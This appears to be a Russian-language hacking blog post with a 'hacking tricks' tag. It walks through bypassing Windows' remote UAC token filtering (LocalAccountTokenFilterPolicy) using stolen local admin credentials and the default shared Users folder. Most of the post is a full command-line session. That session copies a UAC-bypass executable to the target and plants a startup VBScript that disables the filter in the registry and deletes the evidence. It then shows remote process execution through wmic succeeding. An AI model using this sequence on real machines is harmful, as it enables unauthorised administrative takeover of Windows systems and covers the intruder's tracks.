[hacking tricks] LocalAccountTokenFilterPolicy bypass

Скверный для хакера параметр безопасности винды LocalAccountTokenFilterPolicy, появившийся со времен Windows Vista, отвечает за функциклирование удаленного ограничения UAC.  Это такая штука, которая фильтрует наличие привилегий админстратора по сети в отношении всех локальных пользователей системы, которые входят в группу "Администраторы". То есть, все локальные администраторы, кроме дефолтового админа с SID 500, не смогут воспользоваться интерфейсами удаленного администрирования (SMB, RPC, ...) до тех пор пока данный механизм безопасности включен. Но я кажется нашел алгоритм обхода и он основан не на подключении по RDP :)

Предлагаемый способ основан на том, что в конфигурациях по умолчанию современных Windows систем для конечных пользователей хитрым образом шарится папочка "C:\Users", содержащая профили пользователей. Я думаю, что уже после этой фразы стал очевиден сценарий атаки при наличии идентификатора и пароля пользователя, которого удаленная система не желает воспринимать в качестве администратора. Значит экзекнуться в подобной ситуации уже реально, остается лишь разобраться с локальным UAC, чтобы стать полноценным администратором системы.

Для обхода локальных ограничений безопасности UAC можно воспользоваться наработками Leo Davidson, которые затем переконтовали в удобную консольную тулу [забрать]. Стоит лишь добавить, что метод обхода локального UAC работает также и на Windows 8 со всеми обновлениями безопасности на сегодняшний день.

C:\Temp>

Microsoft Windows [Версия 6.0.6001]
(C) Корпорация Майкрософт, 2006. Все права защищены.

C:\Temp>net use \\RHOST\ADMIN$ /u:rhost\admin password
Системная ошибка 5.
Отказано в доступе.

C:\Temp>wmic /node:RHOST /user:rhost\admin /password:password process call create "cmd.exe /c ipconfig"
ERROR:
Code = 0x80070005
Description = Отказано в доступе.
Facility = Win32

C:\Temp>net use \\RHOST\ipc$ /u:rhost\admin password
Команда выполнена успешно.

C:\Temp>net view \\RHOST /all
Общие ресурсы на \\RHOST

Имя общего ресурса  Тип   Используется как  Комментарий
-------------------------------------------------------------------------------
ADMIN$              Диск                    Удаленный Admin
C$                  Диск                    Стандартный общий ресурс
IPC$                IPC   (UNC)             Удаленный IPC
Users               Диск
Команда выполнена успешно.

C:\Temp>dir \\RHOST\Users
 Том в устройстве \\RHOST\Users не имеет метки.
 Серийный номер тома: 5EE0-B619

 Содержимое папки \\RHOST\Users

30.03.2014  20:07    <DIR>          .
30.03.2014  20:07    <DIR>          ..
30.03.2014  20:00    <DIR>          admin
30.03.2014  18:10    <DIR>          Public
               0 файлов              0 байт
               4 папок   6 799 081 472 байт свободно

C:\Temp>dir "\\RHOST\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
 Том в устройстве \\RHOST\Users не имеет метки.
 Серийный номер тома: 5EE0-B619

 Содержимое папки \\RHOST\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

30.03.2014  23:34    <DIR>          .
30.03.2014  23:34    <DIR>          ..
               0 файлов              0 байт
               2 папок   6 799 081 472 байт свободно

C:\Temp>copy /Y bypassuac.exe \\RHOST\Users\admin\AppData\Local\Temp\
Скопировано файлов:         1.

C:\Temp>type logon.vbs
On Error Resume Next
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "C:\Users\admin\AppData\Local\Temp\bypassuac.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f",0,true
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile "C:\Users\admin\AppData\Local\Temp\bypassuac.exe",true
objFSO.DeleteFile "C:\Users\admin\AppData\Local\Temp\tior.exe",true
objFSO.DeleteFile Wscript.ScriptFullName,true

C:\Temp>copy /Y logon.vbs "\\RHOST\Users\admin\AppData\Roaming\Microsoft\Wi
ndows\Start Menu\Programs\Startup\"
Скопировано файлов:         1.

C:\Temp>net use \\RHOST\ipc$ /del
\\RHOST\ipc$ успешно удален.

C:\Temp> /* WAIT WAIT
C:\Temp> /* logoff/login user */
C:\Temp> WAIT */

C:\Temp>net use \\RHOST\ADMIN$ /u:rhost\admin password
Команда выполнена успешно.

C:\Temp>wmic /node:RHOST /user:rhost\admin /password:password process cal
l create "cmd.exe /c ipconfig"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 4320;
        ReturnValue = 0;
};

C:\Temp>

Комментариев нет :

Отправить комментарий